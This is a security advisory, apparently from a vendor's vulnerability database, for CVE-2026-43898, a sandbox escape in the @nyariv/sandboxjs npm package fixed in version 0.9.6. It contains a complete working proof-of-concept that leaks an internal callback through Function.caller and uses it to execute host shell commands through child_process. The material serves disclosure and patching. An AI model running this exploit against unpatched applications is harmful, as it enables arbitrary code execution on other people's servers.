CVE-2026-43898

Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.

Details

The vulnerability is in the property access logic registered via addOps in prop.ts. Sandboxed code could access the caller, callee, and arguments properties on functions. In the CommonJS build, this allowed sandboxed code to read Function.caller and leak a privileged internal LispType.Call callback.

In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:

function f(){ return f.caller }

That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The escape was possible because the LispType.Call handler accepts a params object from the attacker and uses its fields without authenticating that they came from the executor. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands

PoC

const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb(); 

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
  return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

function callDirect(fn, args) {
  let value;
  callOp({
    done(_, result) { value = result; },
    a() {},
    b: args,
    obj: fn,
    context: makeContext()
  });
  return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());

Sandbox escape leads to RCE

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-43898 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-43898? CVE-2026-43898 is a critical-severity code injection vulnerability in @nyariv/sandboxjs (npm), affecting versions <= 0.9.5. It is fixed in 0.9.6. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-43898? CVE-2026-43898 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nyariv/sandboxjs are affected by CVE-2026-43898? @nyariv/sandboxjs (npm) versions <= 0.9.5 is affected.
4. Is there a fix for CVE-2026-43898? Yes. CVE-2026-43898 is fixed in 0.9.6. Upgrade to this version or later.
5. Is CVE-2026-43898 exploitable, and should I be worried? Whether CVE-2026-43898 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-43898 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-43898? Upgrade @nyariv/sandboxjs to 0.9.6 or later.